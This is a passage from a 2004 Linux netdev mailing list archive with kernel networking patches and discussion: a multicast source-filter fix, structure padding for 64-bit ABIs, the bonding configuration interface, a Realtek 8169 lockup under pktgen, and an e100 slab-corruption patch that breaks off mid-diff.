X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: hibi665@oki.com Precedence: bulk X-list: netdev David, Good news. I found a mistake which I made when I built the kernel. After fixing it, the problem is solved and the Linux box can join multicast group at once. The patch is OK. Thank you. Takashi Hibi > David, > > The patch is very simple and I have no problem to apply it to 2.4 line kernel. > I already applied this patch, but it didn't solve the problem. > > Regards, > Takashi Hibi > >> >> >> >> >> Takashi, >> The patch I sent was for 2.6.1, but it should also apply to >> 2.4 line kernels and fix the problem. If you have problems getting >> it to apply in 2.4, let me know what version and I can provide you >> a patch specific for that kernel. >> >> +-DLS >> >> >> Takashi Hibi on 01/12/2004 03:04:48 AM >> >> To: David Stevens/Beaverton/IBM@IBMUS >> cc: netdev@oss.sgi.com, davem@redhat.com >> Subject: Re: MLD problems (again) [PATCH] >> >> >> >> David, >> >> Thank you for the patch. >> But at least it doesn't solve the problem for 2.4 line kernel. >> I will also test with 2.6.1 later. >> >> Regards, >> Takashi Hibi >> >>> >>> >>> >>> >>> Takashi, >>> I believe the patch below will fix the problem you >>> had with MCAST_JOIN_SOURCE_GROUP not sending a >>> report. There was a typo in the source filter switching that did >>> two deletes, rather than an delete and an add. >>> >>> Dave, >>> Although IGMPv3 didn't have any problems, this patch >>> also re-arranges the order of the filter changes. I think it's cleaner >>> to add the new one first and then delete the old one, rather than >>> having a small window with no filter set. So, this is a bug fix for MLD >>> and a code clean-up for IGMPv3. >>> This bug and patch should also apply to the 2.4 line. >>> >>> +-DLS >>> >>> [included in-line for viewing and as an attachment for unmangled >>> whitespace] >>> >>> --- linux-2.6.1/net/ipv6/mcast.c 2004-01-08 22:59:56.000000000 -0800 >>> +++ linux-2.6.1F1/net/ipv6/mcast.c 2004-01-11 21:06:05.000000000 -0800 >>> @@ -372,9 +372,9 @@ >>> goto done; >>> } else if (pmc->sfmode != omode) { >>> /* allow mode switches for empty-set filters */ >>> + ip6_mc_add_src(idev, group, omode, 0, 0, 0); >>> ip6_mc_del_src(idev, group, pmc->sfmode, 0, 0, 0); >>> pmc->sfmode = omode; >>> - ip6_mc_del_src(idev, group, pmc->sfmode, 0, 0, 0); >>> } >>> >>> psl = pmc->sflist; >>> --- linux-2.6.1/net/ipv4/igmp.c 2004-01-08 23:00:12.000000000 -0800 >>> +++ linux-2.6.1F1/net/ipv4/igmp.c 2004-01-11 21:27:41.000000000 -0800 >>> @@ -1749,11 +1749,10 @@ >>> goto done; >>> } else if (pmc->sfmode != omode) { >>> /* allow mode switches for empty-set filters */ >>> + ip_mc_add_src(in_dev, &mreqs->imr_multiaddr, omode, 0, 0, 0); >>> ip_mc_del_src(in_dev, &mreqs->imr_multiaddr, pmc->sfmode, 0, >>> 0, 0); >>> pmc->sfmode = omode; >>> - ip_mc_add_src(in_dev, &mreqs->imr_multiaddr, pmc->sfmode, 0, >>> - 0, 0); >>> } >>> >>> psl = pmc->sflist; >>> >>> (See attached file: 2.6.1MLD.patch) >> >> From dlstevens@us.ibm.com Tue Jan 13 00:07:26 2004 Received: with ECARTIS (v1.0.0; list netdev); Tue, 13 Jan 2004 00:07:43 -0800 (PST) Received: from e34.co.us.ibm.com (e34.co.us.ibm.com [32.97.110.132]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i0D87P6H006461 for ; Tue, 13 Jan 2004 00:07:26 -0800 Received: from westrelay02.boulder.ibm.com (westrelay02.boulder.ibm.com [9.17.195.11]) by e34.co.us.ibm.com (8.12.10/8.12.2) with ESMTP id i0D87I6t302352; Tue, 13 Jan 2004 03:07:18 -0500 Received: from d03nm121.boulder.ibm.com (d03av02.boulder.ibm.com [9.17.193.82]) by westrelay02.boulder.ibm.com (8.12.10/NCO/VER6.6) with ESMTP id i0D87Hj4126158; Tue, 13 Jan 2004 01:07:17 -0700 Importance: Normal Sensitivity: Subject: Re: MLD problems (again) [PATCH] To: Takashi Hibi Cc: netdev@oss.sgi.com, davem@redhat.com X-Mailer: Lotus Notes Release 5.0.4a July 24, 2000 Message-ID: From: David Stevens Date: Tue, 13 Jan 2004 01:07:13 -0700 X-MIMETrack: Serialize by Router on D03NM121/03/M/IBM(Release 6.0.2CF2HF133 | November 14, 2003) at 01/13/2004 01:07:16 MIME-Version: 1.0 Content-type: multipart/alternative; Boundary="0__=07BBE489DFBFA5018f9e8a93df938690918c07BBE489DFBFA501" Content-Disposition: inline X-archive-position: 2383 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: dlstevens@us.ibm.com Precedence: bulk X-list: netdev --0__=07BBE489DFBFA5018f9e8a93df938690918c07BBE489DFBFA501 Content-type: text/plain; charset=US-ASCII Takashi, Great! I actually built it for 2.4.24 myself and was about to ask for more information, since it worked for me. +-DLS Takashi Hibi on 01/12/2004 11:59:41 PM To: David Stevens/Beaverton/IBM@IBMUS cc: netdev@oss.sgi.com, davem@redhat.com Subject: Re: MLD problems (again) [PATCH] David, Good news. I found a mistake which I made when I built the kernel. After fixing it, the problem is solved and the Linux box can join multicast group at once. The patch is OK. Thank you. Takashi Hibi > David, > > The patch is very simple and I have no problem to apply it to 2.4 line kernel. > I already applied this patch, but it didn't solve the problem. > > Regards, > Takashi Hibi > >> >> >> >> >> Takashi, >> The patch I sent was for 2.6.1, but it should also apply to >> 2.4 line kernels and fix the problem. If you have problems getting >> it to apply in 2.4, let me know what version and I can provide you >> a patch specific for that kernel. >> >> +-DLS >> >> >> Takashi Hibi on 01/12/2004 03:04:48 AM >> >> To: David Stevens/Beaverton/IBM@IBMUS >> cc: netdev@oss.sgi.com, davem@redhat.com >> Subject: Re: MLD problems (again) [PATCH] >> >> >> >> David, >> >> Thank you for the patch. >> But at least it doesn't solve the problem for 2.4 line kernel. >> I will also test with 2.6.1 later. >> >> Regards, >> Takashi Hibi >> >>> >>> >>> >>> >>> Takashi, >>> I believe the patch below will fix the problem you >>> had with MCAST_JOIN_SOURCE_GROUP not sending a >>> report. There was a typo in the source filter switching that did >>> two deletes, rather than an delete and an add. >>> >>> Dave, >>> Although IGMPv3 didn't have any problems, this patch >>> also re-arranges the order of the filter changes. I think it's cleaner >>> to add the new one first and then delete the old one, rather than >>> having a small window with no filter set. So, this is a bug fix for MLD >>> and a code clean-up for IGMPv3. >>> This bug and patch should also apply to the 2.4 line. >>> >>> +-DLS >>> >>> [included in-line for viewing and as an attachment for unmangled >>> whitespace] >>> >>> --- linux-2.6.1/net/ipv6/mcast.c 2004-01-08 22:59:56.000000000 -0800 >>> +++ linux-2.6.1F1/net/ipv6/mcast.c 2004-01-11 21:06:05.000000000 -0800 >>> @@ -372,9 +372,9 @@ >>> goto done; >>> } else if (pmc->sfmode != omode) { >>> /* allow mode switches for empty-set filters */ >>> + ip6_mc_add_src(idev, group, omode, 0, 0, 0); >>> ip6_mc_del_src(idev, group, pmc->sfmode, 0, 0, 0); >>> pmc->sfmode = omode; >>> - ip6_mc_del_src(idev, group, pmc->sfmode, 0, 0, 0); >>> } >>> >>> psl = pmc->sflist; >>> --- linux-2.6.1/net/ipv4/igmp.c 2004-01-08 23:00:12.000000000 -0800 >>> +++ linux-2.6.1F1/net/ipv4/igmp.c 2004-01-11 21:27:41.000000000 -0800 >>> @@ -1749,11 +1749,10 @@ >>> goto done; >>> } else if (pmc->sfmode != omode) { >>> /* allow mode switches for empty-set filters */ >>> + ip_mc_add_src(in_dev, &mreqs->imr_multiaddr, omode, 0, 0, 0); >>> ip_mc_del_src(in_dev, &mreqs->imr_multiaddr, pmc->sfmode, 0, >>> 0, 0); >>> pmc->sfmode = omode; >>> - ip_mc_add_src(in_dev, &mreqs->imr_multiaddr, pmc->sfmode, 0, >>> - 0, 0); >>> } >>> >>> psl = pmc->sflist; >>> >>> (See attached file: 2.6.1MLD.patch) >> >> --0__=07BBE489DFBFA5018f9e8a93df938690918c07BBE489DFBFA501 Content-type: text/html; charset=US-ASCII Content-Disposition: inline

Takashi,
Great! I actually built it for 2.4.24 myself and was about to ask for
more information, since it worked for me.

+-DLS

To: David Stevens/Beaverton/IBM@IBMUS
cc: netdev@oss.sgi.com, davem@redhat.com
Subject: Re: MLD problems (again) [PATCH]



David,

Good news.
I found a mistake which I made when I built the kernel.
After fixing it, the problem is solved and the Linux box can join
multicast group at once.
The patch is OK.

Thank you.

Takashi Hibi

> David,
>
> The patch is very simple and I have no problem to apply it to 2.4 line kernel.
> I already applied this patch, but it didn't solve the problem.
>
> Regards,
> Takashi Hibi
>
>>
>>
>>
>>
>> Takashi,
>>       The patch I sent was for 2.6.1, but it should also apply to
>> 2.4 line kernels and fix the problem. If you have problems getting
>> it to apply in 2.4, let me know what version and I can provide you
>> a patch specific for that kernel.
>>
>>                               +-DLS
>>
>>
>> Takashi Hibi <hibi665@oki.com> on 01/12/2004 03:04:48 AM
>>
>> To:    David Stevens/Beaverton/IBM@IBMUS
>> cc:    netdev@oss.sgi.com, davem@redhat.com
>> Subject:    Re: MLD problems (again) [PATCH]
>>
>>
>>
>> David,
>>
>> Thank you for the patch.
>> But at least it doesn't solve the problem for 2.4 line kernel.
>> I will also test with 2.6.1 later.
>>
>> Regards,
>> Takashi Hibi
>>
>>>
>>>
>>>
>>>
>>> Takashi,
>>>       I believe the patch below will fix the problem you
>>> had with MCAST_JOIN_SOURCE_GROUP not sending a
>>> report. There was a typo in the source filter switching that did
>>> two deletes, rather than an delete and an add.
>>>
>>> Dave,
>>>       Although IGMPv3 didn't have any problems, this patch
>>> also re-arranges the order of the filter changes. I think it's cleaner
>>> to add the new one first and then delete the old one, rather than
>>> having a small window with no filter set. So, this is a bug fix for MLD
>>> and a code clean-up for IGMPv3.
>>>       This bug and patch should also apply to the 2.4 line.
>>>
>>>                         +-DLS
>>>
>>> [included in-line for viewing and as an attachment for unmangled
>>>       whitespace]
>>>
>>> --- linux-2.6.1/net/ipv6/mcast.c    2004-01-08 22:59:56.000000000 -0800
>>> +++ linux-2.6.1F1/net/ipv6/mcast.c  2004-01-11 21:06:05.000000000 -0800
>>> @@ -372,9 +372,9 @@
>>>                   goto done;
>>>       } else if (pmc->sfmode != omode) {
>>>             /* allow mode switches for empty-set filters */
>>> +           ip6_mc_add_src(idev, group, omode, 0, 0, 0);
>>>             ip6_mc_del_src(idev, group, pmc->sfmode, 0, 0, 0);
>>>             pmc->sfmode = omode;
>>> -           ip6_mc_del_src(idev, group, pmc->sfmode, 0, 0, 0);
>>>       }
>>>
>>>       psl = pmc->sflist;
>>> --- linux-2.6.1/net/ipv4/igmp.c     2004-01-08 23:00:12.000000000 -0800
>>> +++ linux-2.6.1F1/net/ipv4/igmp.c   2004-01-11 21:27:41.000000000 -0800
>>> @@ -1749,11 +1749,10 @@
>>>                   goto done;
>>>       } else if (pmc->sfmode != omode) {
>>>             /* allow mode switches for empty-set filters */
>>> +           ip_mc_add_src(in_dev, &mreqs->imr_multiaddr, omode, 0, 0, 0);
>>>             ip_mc_del_src(in_dev, &mreqs->imr_multiaddr, pmc->sfmode, 0,
>>>                   0, 0);
>>>             pmc->sfmode = omode;
>>> -           ip_mc_add_src(in_dev, &mreqs->imr_multiaddr, pmc->sfmode, 0,
>>> -                 0, 0);
>>>       }
>>>
>>>       psl = pmc->sflist;
>>>
>>> (See attached file: 2.6.1MLD.patch)
>>
>>


--0__=07BBE489DFBFA5018f9e8a93df938690918c07BBE489DFBFA501-- From hadi@cyberus.ca Tue Jan 13 04:29:30 2004 Received: with ECARTIS (v1.0.0; list netdev); Tue, 13 Jan 2004 04:29:43 -0800 (PST) Received: from mail.cyberus.ca (mail.cyberus.ca [209.197.145.21]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i0DCTT6H021020 for ; Tue, 13 Jan 2004 04:29:30 -0800 Received: from cpe0030ab124d2f-cm014500000962.cpe.net.cable.rogers.com ([24.103.99.32] helo=[10.0.0.9]) by mail.cyberus.ca with esmtp (Exim 4.20) id 1AgNfd-0001vv-Um; Tue, 13 Jan 2004 07:29:22 -0500 Subject: Re: [bonding] Add basic support for dynamic configuration of bond interfaces From: jamal Reply-To: hadi@cyberus.ca To: Andi Kleen Cc: jgarzik@pobox.com, greearb@candelatech.com, amir.noam@intel.com, bonding-devel@lists.sourceforge.net, netdev@oss.sgi.com In-Reply-To: <20040112160446.691e187e.ak@suse.de> References: <200401111628.07930.amir.noam@intel.com> <4001A667.2020904@pobox.com> <4001C158.6040103@candelatech.com> <4001C72E.8030108@pobox.com> <20040112133816.57993f44.ak@suse.de> <1073915461.1118.342.camel@jzny.localdomain> <20040112160446.691e187e.ak@suse.de> Content-Type: text/plain Organization: jamalopolis Message-Id: <1073996930.1039.247.camel@jzny.localdomain> Mime-Version: 1.0 X-Mailer: Ximian Evolution 1.2.2 Date: 13 Jan 2004 07:28:50 -0500 Content-Transfer-Encoding: 7bit X-archive-position: 2384 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: hadi@cyberus.ca Precedence: bulk X-list: netdev On Mon, 2004-01-12 at 10:04, Andi Kleen wrote: [..] > When you use [su]64: > > make sure the data element is explicitely padded to be on a 8 byte boundary > in the structure. The reason is that alignof(u64) on i386 is 4 but 8 on ia64/x86-64 > and the structure layout could change. > > > also when you use 64bit types make sure the complete structure is padded to 8 bytes. > The x86-64 ABI pads any data structure to the alignof() of its biggest member > to get good alignment for arrays. This is what broke PF_KEY - it is missing this > padding and the structure layout ends up differently with nested structures. > The behavior of some 32 bit archs alignof()e.g ppc is similar in aligning to its biggest member. We have some major problems with include/linux/pkt_sched.h::tc_stats for example; i just have to keep hacking tc on ppc everytime so it doesnt stop processing and bitch about truncated stats; [this happens when doing a sizeof() of on-the-wire data passed from the kernel being compared against sizeof(tc_stats)]. I recall there are a few other similar structures. It didnt seem like there was a clean solution when i last looked at this. It seems we may need surgery on a few places like this and may require a few #ifdefs. Any thoughts on this particular one? cheers, jamal From ak@suse.de Tue Jan 13 04:39:47 2004 Received: with ECARTIS (v1.0.0; list netdev); Tue, 13 Jan 2004 04:40:00 -0800 (PST) Received: from Cantor.suse.de (ns.suse.de [195.135.220.2]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i0DCdk6H021679 for ; Tue, 13 Jan 2004 04:39:47 -0800 Received: from Hermes.suse.de (Hermes.suse.de [195.135.221.8]) (using TLSv1 with cipher EDH-RSA-DES-CBC3-SHA (168/168 bits)) (No client certificate requested) by Cantor.suse.de (Postfix) with ESMTP id 0013519DA65D; Tue, 13 Jan 2004 13:39:23 +0100 (CET) Received: by wotan.suse.de (Postfix, from userid 14000) id A10A3106DA; Tue, 13 Jan 2004 13:39:22 +0100 (CET) Date: Tue, 13 Jan 2004 13:39:22 +0100 From: Andi Kleen To: jamal Cc: Andi Kleen , jgarzik@pobox.com, greearb@candelatech.com, amir.noam@intel.com, bonding-devel@lists.sourceforge.net, netdev@oss.sgi.com Subject: Re: [bonding] Add basic support for dynamic configuration of bond interfaces Message-ID: <20040113123922.GC31630@wotan.suse.de> References: <200401111628.07930.amir.noam@intel.com> <4001A667.2020904@pobox.com> <4001C158.6040103@candelatech.com> <4001C72E.8030108@pobox.com> <20040112133816.57993f44.ak@suse.de> <1073915461.1118.342.camel@jzny.localdomain> <20040112160446.691e187e.ak@suse.de> <1073996930.1039.247.camel@jzny.localdomain> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <1073996930.1039.247.camel@jzny.localdomain> X-archive-position: 2385 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: ak@suse.de Precedence: bulk X-list: netdev On Tue, Jan 13, 2004 at 07:28:50AM -0500, jamal wrote: > The behavior of some 32 bit archs alignof()e.g ppc is similar in > aligning to its biggest member. > We have some major problems with include/linux/pkt_sched.h::tc_stats for > example; i just have to keep hacking tc on ppc everytime so it doesnt > stop processing and bitch about truncated stats; [this happens when > doing a sizeof() of on-the-wire data passed from the kernel being > compared against sizeof(tc_stats)]. I recall there are a few other > similar structures. It didnt seem like there was a clean solution when i > last looked at this. It seems we may need surgery on a few places like > this and may require a few #ifdefs. Any thoughts on this particular one? I don't think it can be fixed with #ifdefs. For existing structures we cannot change the layout because they are already enshrined in the ABI. You have to translate them in the emulation layer somehow or just give up. And for new ones just add all necessary padding explicitely or best avoid __u64 (which causes most problems) In fact we should have some watchdog enforcing these rules for all new kernel submissions . In fact DaveM did that for some time, but he unfortunately only enforced the rules needed for sparc64 which are a subset of those needed by other ports. -Andi From hadi@cyberus.ca Tue Jan 13 06:17:56 2004 Received: with ECARTIS (v1.0.0; list netdev); Tue, 13 Jan 2004 06:18:12 -0800 (PST) Received: from mail.cyberus.ca (mail.cyberus.ca [209.197.145.21]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i0DEHu6H025216 for ; Tue, 13 Jan 2004 06:17:56 -0800 Received: from cpe0030ab124d2f-cm014500000962.cpe.net.cable.rogers.com ([24.103.99.32] helo=[10.0.0.9]) by mail.cyberus.ca with esmtp (Exim 4.20) id 1AgPMe-000747-4c; Tue, 13 Jan 2004 09:17:52 -0500 Subject: RE: [Bonding-devel] Re: [bonding] Add basic support for dynamic configuration of bond interfaces From: jamal Reply-To: hadi@cyberus.ca To: Matt Domsch Cc: "Feldman, Scott" , Jeff Garzik , "Noam, Amir" , Jay Vosburgh , bonding-devel@lists.sourceforge.net, netdev@oss.sgi.com In-Reply-To: References: Content-Type: text/plain Organization: jamalopolis Message-Id: <1074003440.1037.429.camel@jzny.localdomain> Mime-Version: 1.0 X-Mailer: Ximian Evolution 1.2.2 Date: 13 Jan 2004 09:17:20 -0500 Content-Transfer-Encoding: 7bit X-archive-position: 2386 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: hadi@cyberus.ca Precedence: bulk X-list: netdev I think this would be fine if you have some simple policy maybe upto 5 variables. Its simplicty gives it a lot of value. However, once you start getting into more demanding setups with lotsa table based configs this is quickly going to turn into a configuration nightmare. What we should shoot for with netlink is to make it as stoopid-proof as well - although not too stoopid proof to be dangerous. cheers, jamal On Mon, 2004-01-12 at 21:34, Matt Domsch wrote: > > Could sysfs be used for the bonding UI? Seems like a natural fit. > > Something like: > > # echo "some params" >/sys/class/net/add_bond > > # echo "byebye" >/sys/class/net/bond0/del_bond > > FWIW, this is exactly what we're doing with the efivars module to create > and destroy EFI Variables now, and appears to be a sane approach. > > Thanks, > Matt From hadi@cyberus.ca Tue Jan 13 07:00:33 2004 Received: with ECARTIS (v1.0.0; list netdev); Tue, 13 Jan 2004 07:00:47 -0800 (PST) Received: from mail.cyberus.ca (mail.cyberus.ca [209.197.145.21]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i0DF0X6H026717 for ; Tue, 13 Jan 2004 07:00:33 -0800 Received: from cpe0030ab124d2f-cm014500000962.cpe.net.cable.rogers.com ([24.103.99.32] helo=[10.0.0.9]) by mail.cyberus.ca with esmtp (Exim 4.20) id 1AfkMs-0004RI-IL; Sun, 11 Jan 2004 13:31:22 -0500 Subject: Re: [bonding] Add basic support for dynamic configuration of bond interfaces From: jamal Reply-To: hadi@cyberus.ca To: Amir Noam Cc: Jeff Garzik , bonding-devel@lists.sourceforge.net, netdev@oss.sgi.com In-Reply-To: <200401111628.07930.amir.noam@intel.com> References: <200401111628.07930.amir.noam@intel.com> Content-Type: text/plain Organization: jamalopolis Message-Id: <1073845851.1115.297.camel@jzny.localdomain> Mime-Version: 1.0 X-Mailer: Ximian Evolution 1.2.2 Date: 11 Jan 2004 13:30:51 -0500 Content-Transfer-Encoding: 7bit X-archive-position: 2387 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: hadi@cyberus.ca Precedence: bulk X-list: netdev On Sun, 2004-01-11 at 09:28, Amir Noam wrote: > > > I would suggest a simple character device (misc_register), and let > > the userland application configure settings unrelated to a single > > object. > > I was trying to follow the example of several other network modules > (e.g. vlan, dlci, bridge) that use a socket level ioctl hook to > handle such deviceless commands. > > Do you think that a char device is preferrable, given that other > similar modules use a socket ioctl hook? I think a netlink interface would be the better alternative. The L2C netlink socket protocol would be appropriate for bonding at least for 2.6.x. Bridging, VLAN should also move to this. cheers, jamal From pollockd@magma.ca Tue Jan 13 08:56:19 2004 Received: with ECARTIS (v1.0.0; list netdev); Tue, 13 Jan 2004 09:17:24 -0800 (PST) Received: from mx2.magma.ca (mx2.magma.ca [206.191.0.250]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i0DGuJ6H004038 for ; Tue, 13 Jan 2004 08:56:19 -0800 Received: from mail2.magma.ca (mail2.magma.ca [206.191.0.214]) by mx2.magma.ca (Magma Relay Server) with ESMTP id i0DGteKv004897; Tue, 13 Jan 2004 11:55:40 -0500 Received: from 9.26.194.135 (ottawa2.oti.com [204.138.98.60]) (authenticated bits=0) by mail2.magma.ca (8.12.10/8.12.9) with ESMTP id i0DGtcsT008232 (version=TLSv1/SSLv3 cipher=RC4-MD5 bits=128 verify=NOT); Tue, 13 Jan 2004 11:55:40 -0500 Subject: Re: Realtek 8169 Lock-ups From: pollockd@magma.ca Reply-To: dpollock@acm.org To: Jeff Garzik Cc: Francois Romieu , netdev@oss.sgi.com, damouse@ntlworld.com, brad@mainstreetsoftworks.com, kinetik@orcon.net.nz In-Reply-To: <4001A41C.3070205@pobox.com> References: <200401111623.i0BGNg3O028990@webmail1.magma.ca> <4001A41C.3070205@pobox.com> Content-Type: multipart/signed; micalg=pgp-sha1; protocol="application/pgp-signature"; boundary="=-AiLDoAMaC7ybRbg9RUED" Message-Id: <1074012941.5886.12.camel@localhost> Mime-Version: 1.0 X-Mailer: Ximian Evolution 1.4.5 Date: Tue, 13 Jan 2004 11:55:41 -0500 X-archive-position: 2389 X-Approved-By: ralf@linux-mips.org X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: pollockd@magma.ca Precedence: bulk X-list: netdev Content-Length: 1584 Lines: 57 --=-AiLDoAMaC7ybRbg9RUED Content-Type: text/plain Content-Transfer-Encoding: quoted-printable On Sun, 2004-01-11 at 14:29, Jeff Garzik wrote: > Douglas Pollock wrote: > The kernel comes with "pktgen" which is a free packet generator you can=20 > use for stressing kernels and LANs. There is also ttcp, nttcp, various=20 > filesystems tests over NFS (such as bonnie++), various block device=20 > tests over nbd (network block device), ... Thanks for that. I should have remembered the packet generator. Using pktgen, I am able to reproduce the problem. HARDWARE: Intel P4 with hyper-threading enabled Realtek 8169 (rev. 10) Switched 100Mbps network A second machine on the same network (to receive test packets) SOFTWARE: Kernel 2.6.0 or 2.6.1-rc1 (possibly others), with SMP for 2 processors, Realtek 8169 driver, and packet generator STEPS TO REPRODUCE: 1.) Set up the ipg script to send to the second machine on the 8169 NIC. 2.) pgset pkt_size 9014 3.) pg OBSERVATIONS: Soon after step #3, the 8169 NIC will stop responding (note: the netdev watchdog reports a timeout in dmesg). No packets get through. However, everything else still works. Disabling SMP in the kernel fixes this problem. Doug. --=-AiLDoAMaC7ybRbg9RUED Content-Type: application/pgp-signature; name=signature.asc Content-Description: This is a digitally signed message part -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.2.3 (GNU/Linux) iD8DBQBABCMLLhh1LVU8SusRAtTXAJoCQdN5E8uvmbm6LeDVBfZD6DJ/DwCgrIsb wWWlcJD8EzfThXM3bVUX3Kk= =fKX6 -----END PGP SIGNATURE----- --=-AiLDoAMaC7ybRbg9RUED-- From scott.feldman@intel.com Tue Jan 13 10:52:53 2004 Received: with ECARTIS (v1.0.0; list netdev); Tue, 13 Jan 2004 10:53:07 -0800 (PST) Received: from hermes.fm.intel.com (fmr01.intel.com [192.55.52.18]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i0DIqq6H007521 for ; Tue, 13 Jan 2004 10:52:53 -0800 Received: from talaria.fm.intel.com (talaria.fm.intel.com [10.1.192.39]) by hermes.fm.intel.com (8.12.9-20030918-01/8.12.9/d: major-outer.mc,v 1.14 2004/01/09 00:51:16 root Exp $) with ESMTP id i0DInYOv004724; Tue, 13 Jan 2004 18:49:35 GMT Received: from fmsmsxvs040.fm.intel.com (fmsmsxvs040.fm.intel.com [132.233.42.124]) by talaria.fm.intel.com (8.12.9-20030918-01/8.12.9/d: major-inner.mc,v 1.7 2003/12/18 18:58:10 root Exp $) with SMTP id i0DIp2AG008926; Tue, 13 Jan 2004 18:51:29 GMT Received: from [134.134.3.50] ([134.134.3.50]) by fmsmsxvs040.fm.intel.com (SAVSMTP 3.1.2.35) with SMTP id M2004011310520832358 ; Tue, 13 Jan 2004 10:52:08 -0800 Date: Tue, 13 Jan 2004 11:28:38 -0800 (PST) From: "Feldman, Scott" X-X-Sender: scott.feldman@localhost.localdomain Reply-To: "Feldman, Scott" To: Jeff Garzik cc: netdev@oss.sgi.com, "Feldman, Scott" Subject: [e100 netdev-2.6 1/2] fix slab corruption Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-Scanned-By: MIMEDefang 2.31 (www . roaringpenguin . com / mimedefang) X-archive-position: 2390 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: scott.feldman@intel.com Precedence: bulk X-list: netdev Content-Length: 10404 Lines: 346 * Addresses two problems, both resulting in slab corruption: 1) driver indicating skb while HW is still DMA'ing (ouch!), 2) driver not stopping receiver activity before downing i/f. Fix is 1) wait for RNR (receiver-no-resources) interrupt before restarting receiver, 2) reseting HW to stop receiver before stopping i/f. ---------- --- net-drivers-2.5-exp/drivers/net/e100.c.orig 2004-01-09 16:41:42.000000000 -0800 +++ net-drivers-2.5-exp/drivers/net/e100.c 2004-01-09 16:44:59.000000000 -0800 @@ -143,7 +143,6 @@ #include #include #include -#include #include #include #include @@ -273,11 +272,13 @@ }; enum scb_stat_ack { + stat_ack_not_ours = 0x00, stat_ack_sw_gen = 0x04, stat_ack_rnr = 0x10, stat_ack_cu_idle = 0x20, stat_ack_frame_rx = 0x40, stat_ack_cu_cmd_done = 0x80, + stat_ack_not_present = 0xFF, stat_ack_rx = (stat_ack_sw_gen | stat_ack_rnr | stat_ack_frame_rx), stat_ack_tx = (stat_ack_cu_idle | stat_ack_cu_cmd_done), }; @@ -367,11 +368,10 @@ u16 size; }; -struct rx_list { - struct list_head list; +struct rx { + struct rx *next, *prev; struct sk_buff *skb; dma_addr_t dma_addr; - unsigned int length; }; #if defined(__BIG_ENDIAN_BITFIELD) @@ -492,11 +492,13 @@ u32 msg_enable ____cacheline_aligned; struct net_device *netdev; struct pci_dev *pdev; - - struct list_head rx_list_head ____cacheline_aligned; - struct rx_list *rx_list; + + struct rx *rxs ____cacheline_aligned; + struct rx *rx_to_use; + struct rx *rx_to_clean; struct rfd blank_rfd; - + int ru_running; + spinlock_t cb_lock ____cacheline_aligned; spinlock_t cmd_lock; struct csr *csr; @@ -1350,57 +1352,46 @@ static inline void e100_start_receiver(struct nic *nic) { - /* (Re)start RU if suspended or idle and RFA is fully allocated */ - struct rx_list *curr = - list_entry(nic->rx_list_head.next, struct rx_list, list); - if(curr->skb) { - u8 status = readb(&nic->csr->scb.status); - if(unlikely((status & rus_mask) != rus_ready)) - e100_exec_cmd(nic, ruc_start, curr->dma_addr); + /* (Re)start RU if suspended or idle and RFA is non-NULL */ + if(!nic->ru_running && nic->rx_to_clean->skb) { + e100_exec_cmd(nic, ruc_start, nic->rx_to_clean->dma_addr); + nic->ru_running = 1; } } -static inline int e100_rx_alloc_skb(struct nic *nic, struct rx_list *curr) +#define RFD_BUF_LEN (sizeof(struct rfd) + VLAN_ETH_FRAME_LEN) +static inline int e100_rx_alloc_skb(struct nic *nic, struct rx *rx) { unsigned int rx_offset = 2; /* u32 align protocol headers */ - curr->dma_addr = 0; - curr->length = sizeof(struct rfd) + VLAN_ETH_FRAME_LEN; - - if(!(curr->skb = dev_alloc_skb(curr->length + rx_offset))) + if(!(rx->skb = dev_alloc_skb(RFD_BUF_LEN + rx_offset))) return -ENOMEM; - skb_reserve(curr->skb, rx_offset); - curr->skb->dev = nic->netdev; - curr->dma_addr = pci_map_single(nic->pdev, curr->skb->data, - curr->length, PCI_DMA_FROMDEVICE); - - return 0; -} - -static inline void e100_rx_rfa_add_tail(struct nic *nic, struct rx_list *curr) -{ - memcpy(curr->skb->data, &nic->blank_rfd, sizeof(struct rfd)); - pci_dma_sync_single(nic->pdev, curr->dma_addr, - sizeof(struct rfd), PCI_DMA_TODEVICE); + /* Align, init, and map the RFA. */ + rx->skb->dev = nic->netdev; + skb_reserve(rx->skb, rx_offset); + memcpy(rx->skb->data, &nic->blank_rfd, sizeof(struct rfd)); + rx->dma_addr = pci_map_single(nic->pdev, rx->skb->data, + RFD_BUF_LEN, PCI_DMA_FROMDEVICE); - if(likely(curr->list.prev != &nic->rx_list_head)) { - struct rx_list *prev = (struct rx_list *)curr->list.prev; - if(likely(prev->skb != NULL)) { - struct rfd *prev_rfd = (struct rfd *)prev->skb->data; - put_unaligned(cpu_to_le32(curr->dma_addr), - (u32 *)&prev_rfd->link); - prev_rfd->command = 0; - pci_dma_sync_single(nic->pdev, prev->dma_addr, - sizeof(struct rfd), PCI_DMA_TODEVICE); - } + /* Link the RFD to end of RFA by linking previous RFD to + * this one, and clearing EL bit of previous. */ + if(rx->prev->skb) { + struct rfd *prev_rfd = (struct rfd *)rx->prev->skb->data; + 